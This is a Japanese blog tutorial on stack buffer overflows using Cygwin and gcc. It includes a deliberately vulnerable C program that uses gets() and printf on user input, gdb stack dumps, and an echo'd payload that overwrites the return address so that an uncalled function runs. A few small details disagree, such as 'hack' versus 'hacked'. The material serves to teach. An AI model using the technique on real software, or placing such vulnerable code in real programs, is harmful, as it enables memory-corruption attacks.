2013/04/08

【副部長の】cygwin&gccを使用したBOFについての紹介【不定期連載】

この記事の環境は以下のものになります.

---

Intel(R) Celeron(R) CPU B820 @ 1.70GHz

MemTotal:        1929584 kB

CYGWIN_NT-6.1-WOW64 version 1.7.17(0.262/5/3) (corinna@calimero.vinschen.de) (gcc version 4.5.3 20110428 (Fedora Cygwin 4.5.3-4) (GCC) ) 2012-10-19 14:39
***gccは嘘

$ gcc -v
組み込み spec を使用しています。
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/local/libexec/gcc/i686-pc-cygwin/4.7.2/lto-wrapper.exe
ターゲット: i686-pc-cygwin
configure 設定: ../gcc-4.7.2/configure --enable-languages=c,c++
スレッドモデル: single
gcc バージョン 4.7.2 (GCC)

---

先日,部活にあったO'REILLYの「C実践プログラミング 第3版」の表紙の,"Why Does 2+2=5986?"を見て,皆と悩んだ結果,49ページにあったサンプルプログラムの結果とわかり,大爆笑したのですが,そのときに興味深い事例が起こったので,記事にしておこうと思います.
まず,cygwin環境で49ページのプログラムを打ち込んで,実行してみます.



#include <stdio.h>
int answer;
int main() {
        answer = 2 + 2;
        printf("The answer is %d\n");
        return (0);
}

$vim answer.c
$gcc answer.c
$ ./a.exe
The answer is 2675740
$

はい,予定通りおかしな値が出力されました.
ちなみに,この数値はスタックトップのconst char*の次の値になっているのですが,今はまだこのことはスルーして大丈夫.
で,アイム オン ザ チョーシ,調子に乗って何回か連続して実行すると,

$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$

NaNということでしょう,いつも同じ値が表示されてしまっているではありませんか!
これはASLR(Address Space Layout Randomization)が効いてない予感

ということで,こんなのを作成.


#include <stdio.h>
#include <stdlib.h>

void func(void) {
        printf("hack\n");
        exit(0);
}

int main(void) {
        printf("func = %08p",func);
        return 0;
}


$vim answer.c
$gcc answer.c
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0

やっぱり,固定アドレスだーー

そうとわかったら次にすることはただ1つ,bof(Buffer Over Flow)しなイカ?



#include <stdio.h>
#include <stdlib.h>

void func(void) {
        printf("hack\n");
        exit(0);
}

int main(void) {
        char stk[16];
        printf("func = %08p",func);
        gets(stk);
        printf(stk);
        puts("");
        return 0;
}


このコードには脆弱性がたくさんあります.全部わかるかな?
レッツ,コンパイル アンド ラン

$ ./a.exe
func = 0x4010f0
123456789012345
123456789012345
$

はい,正常終了しました.当たり前ですね.
stkのサイズが16なので,NUL文字を除いて15文字以内なら正常にechoするプログラムとなっております.
では,16文字以上を打ち込んでみましょう.

$ echo -e "123456789012345678901234567" | ./a.exe
func = 0x4010f0
123456789012345678901234567
$

ここまでセーフ.

$ echo -e "1234567890123456789012345678" | ./a.exe
func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$

どうやら,28文字以上で挙動がおかしくなるようです.

この違いは,main関数がreturnするときに正常にreturnできているか,いないかの違いです.
return addressが変わると,予期せぬ事態が発生します.
この場合,予期せぬ動作が,

func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$



func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v

$

に表れています.
では,なぜreturn addressが変わってしまったのか,原因を探っていきましょう.
stkのサイズが16なので,入力する文字が15文字以下のときプログラムが正常に動作することが保障されています.
しかし,16文字を超えて入力したことで,プログラムが異常動作したものと思われます.
ここで,28文字という数値が意味を持ってきます.
実行中のプログラムが使っているメモリの状況は,おおよそこんな風になっているはずです.

<-下位アドレス________上位アドレス->



[....~~~~~~~~................................]
 ^^^^________^^^^^^^^^^^^^^^^        ~~~~^^^^
 $esp 数値__ stk[16]---------________sfp return address
<-スタックトップ________スタックボトム->
.が1バイト
^^^^が4バイト



28文字入力すると,29文字目に\0が追加されるため,return addressの上位1バイトが0x00になってしまいます.
こうなった結果,main関数がreturnするときに間違ったアドレスにreturnしてしまうため,上記のような結果になったと考えられます.
実際に文字列を入力した直後のスタックを見ると,このようになっているのがよくわかると思います.

(gdb) b main
Breakpoint 1 at 0x40111c: file answer.c, line 8.
(gdb) r
Starting program: /home/user/programming/scratch/a.exe
[New Thread 4600.0xbe8]
[New Thread 4600.0xa4c]

Breakpoint 1, main (argc=1, argv=0x28ac50) at answer.c:8
8               printf("func = %08p\n", func);
(gdb) n
func = 0x4010f0
12              gets(stk);
(gdb) n
123456789012345678901234567
13              printf(stk);
(gdb) n
17              return 0;
(gdb) x/16x $esp
0x28ac00:       0x0028ac10      0x004010f0      0x0028ac48      0x49435341
0x28ac10:       0x34333231      0x38373635      0x32313039      0x36353433
0x28ac20:       0x30393837      0x34333231      0x00373635      0x6100763a
0x28ac30:       0x00000001      0x0028ac50      0x200280e8      0x2003ab8f
(gdb) n

ということで,return addressは 0x6100763a だとわかりました.
ところで,(int *)(0x28ac10)になにやら怪しい文字列があるのに気づきましたか?
0x28ac10:       0x34333231      0x38373635      0x32313039      0x00353433
これを(char *)(0x28ac10)として解釈すると,"123456789012345\n"という文字列が見えてきます.
これがstk[16]の実態なのです.
アドレスに注目すると,アドレスの大きいほうに入力した文字列が配置されていくことがわかります.
これを伸ばしていけば,いずれmainのreturn addressを変えることが出来るはずです.
実際に書き換えた結果が,28文字入力したときの誤作動となったわけです.
ここまでわかっているのなら,後は簡単です.
うまく文字数と書き込む文字を調節して,return addressを書き換えてみましょう.
前の実験から,funcのaddressは0x4010f0で固定,main関数のreturn addressを書き換えるために必要な文字数は28文字+アドレスを書き換える文字数4字なので,32文字になります.(この環境はsizeof(void*)が4となる環境です).
では,早速32文字打ち込んでreturn addressを書き換えてみましょう.
入力する文字列の28文字までは使用しないので適当にうめて,29文字以降にアドレスを埋め込みます.
ここで注意してほしいのが,return addressをintで表記していて,なおかつこの環境はリトルエンディアンなので,実際にメモリに配置されている値は0xf0 0x10 0x40 0x00になります.
さらに,getsで取得した文字列の末尾には\0が入ることを利用して,28~31文字目に0xf0 0x10 0x40という文字列にすれば,0x00が末尾に勝手に入ってくれるので,結果的に上記のメモリ配置になります.
これに注意して,"123456789012345678901234567\xf0\x10\x40"のような文字列を入力すれば,funcが実行されるはずです.
やってみましょう.

$echo -e "1234567890123456789012345678\xf0\x10\x40" | ./a.exe
func = 0x4010f0
1234567890123456789012345678▒@hacked

成功です.
funcという関数は一回も呼び出していないのに,なぜかhackedという文字が出力されてしまっています.
これが,bof(buffer over flow)という脆弱性です.

0 件のコメント:

コメントを投稿